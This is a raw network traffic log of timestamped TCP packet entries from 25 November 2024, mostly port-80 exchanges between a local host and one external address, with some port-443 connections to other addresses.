Nov 25, 2024 16:21:38.030909061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.030956030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.030986071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.031038046 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.031881094 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.031929016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.031959057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.031999111 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.032886982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.032937050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.033015013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.033075094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.033893108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.033927917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.033942938 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.033972979 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.034945011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.035037041 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.035142899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.035186052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.035876036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.035923958 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.035955906 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.035998106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.036880970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.036937952 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.037142992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.037201881 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.038012981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.038139105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.038340092 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.038388014 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.039139986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.039187908 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.039221048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.039264917 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.039949894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.040000916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.040050030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.040241957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.040817976 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.040859938 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.040896893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.040949106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.041841984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.041872025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.041901112 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.041945934 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.042819977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.042993069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.073512077 CET	443	49815	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:38.073892117 CET	49815	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:38.073921919 CET	443	49815	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:38.074270010 CET	443	49815	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:38.074592113 CET	49815	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:38.074657917 CET	443	49815	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:38.080590963 CET	49817	443	192.168.2.5	23.44.203.20
Nov 25, 2024 16:21:38.080637932 CET	49816	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:38.121665001 CET	49826	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:38.121718884 CET	443	49826	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:38.121818066 CET	49826	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:38.122041941 CET	49826	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:38.122056007 CET	443	49826	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:38.126272917 CET	49815	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:38.183075905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.183096886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.183140039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.183176994 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.183465958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.183518887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.183568001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.183613062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.184499025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.184551954 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.184685946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.184735060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.185520887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.185575962 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.185584068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.185746908 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.186466932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.186671019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.186697960 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.187484026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.187556982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.187582970 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.187819004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.188647032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.188734055 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.188761950 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.189430952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.189510107 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.189536095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.189632893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.190512896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.190655947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.190682888 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.191450119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.191541910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.191565990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.192003965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.192611933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.192715883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.193520069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.193603992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.193631887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.194489956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.194578886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.194606066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.195419073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.195538998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.195564032 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.196418047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.196477890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.196521997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.196588993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.197478056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.197576046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.197592020 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.197663069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.198391914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.198455095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.198482990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.198535919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.199374914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.199469090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.199528933 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.200362921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.200483084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.200489044 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.200691938 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.201400042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.201491117 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.201626062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.202357054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.202480078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.202507973 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.203396082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.203454018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.203480005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.203906059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.204333067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.204423904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.204435110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.204531908 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.205408096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.205528021 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.205564022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.205625057 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.206418991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.206537962 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.206541061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.206638098 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.207350016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.207485914 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.207516909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.207590103 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.208362103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.208447933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.208749056 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.209335089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.209389925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.209415913 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.209568024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.210334063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.210424900 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.210490942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.210576057 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.211309910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.211390972 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.211396933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.211554050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.212397099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.212412119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.212745905 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.213306904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.213390112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.213416100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.213710070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.214533091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.214556932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.214606047 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.214606047 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.215279102 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.215392113 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.215403080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.215495110 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.216269970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.216365099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.216383934 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.216450930 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.217256069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.217345953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.217371941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.217420101 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.218338013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.218400002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.218417883 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.218575001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.219403982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.219527960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.219549894 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.219659090 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.220338106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.220480919 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.220515013 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.220679045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.221226931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.221287966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.221313953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.221395016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.222429037 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.222558022 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.222615957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.222691059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.223238945 CET	443	49820	23.200.0.34	192.168.2.5
Nov 25, 2024 16:21:38.223397970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.223479033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.223550081 CET	49820	443	192.168.2.5	23.200.0.34
Nov 25, 2024 16:21:38.223562002 CET	443	49820	23.200.0.34	192.168.2.5
Nov 25, 2024 16:21:38.223587036 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.224246025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.224334955 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.224348068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.224592924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.224592924 CET	443	49820	23.200.0.34	192.168.2.5
Nov 25, 2024 16:21:38.224932909 CET	49820	443	192.168.2.5	23.200.0.34
Nov 25, 2024 16:21:38.225222111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.225332975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.225356102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.225702047 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.225946903 CET	49820	443	192.168.2.5	23.200.0.34
Nov 25, 2024 16:21:38.225946903 CET	49820	443	192.168.2.5	23.200.0.34
Nov 25, 2024 16:21:38.225960016 CET	443	49820	23.200.0.34	192.168.2.5
Nov 25, 2024 16:21:38.226006985 CET	443	49820	23.200.0.34	192.168.2.5
Nov 25, 2024 16:21:38.226239920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.226330042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.226337910 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.226422071 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.227229118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.227298021 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.227298975 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.227399111 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.228262901 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.228343964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.228616953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.229180098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.229269028 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.229283094 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.229372978 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.230215073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.230240107 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.230354071 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.231223106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.231297970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.231323957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.231458902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.232171059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.232280970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.232306004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.232573986 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.233252048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.233269930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.233457088 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.234169960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.234292030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.234544039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.235102892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.235158920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.279241085 CET	49820	443	192.168.2.5	23.200.0.34
Nov 25, 2024 16:21:38.279251099 CET	443	49820	23.200.0.34	192.168.2.5
Nov 25, 2024 16:21:38.324659109 CET	49820	443	192.168.2.5	23.200.0.34
Nov 25, 2024 16:21:38.375215054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.375277042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.375303984 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.375572920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.375860929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.376008034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.376025915 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.376105070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.376765966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.376841068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.376856089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.377017021 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.377887964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.378045082 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.378093004 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.378192902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.378844023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.378905058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.378926992 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.379177094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.379733086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.379817009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.379857063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.379970074 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.380742073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.380904913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.380906105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.380968094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.381685972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.381819010 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.381819010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.381934881 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.382663012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.382769108 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.382776022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.383044004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.383663893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.383759022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.383780003 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.383843899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.384670973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.384726048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.384751081 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.384968042 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.385680914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.385803938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.386025906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.386725903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.386818886 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.386897087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.386950016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.387691975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.387782097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.387815952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.387969971 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.388624907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.388767958 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.388820887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.389013052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.389626026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.389749050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.389854908 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.390667915 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.390723944 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.390788078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.390836000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:38.391679049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:38.391828060 CET	80	49765	185.215.113.206	192.168.2.5
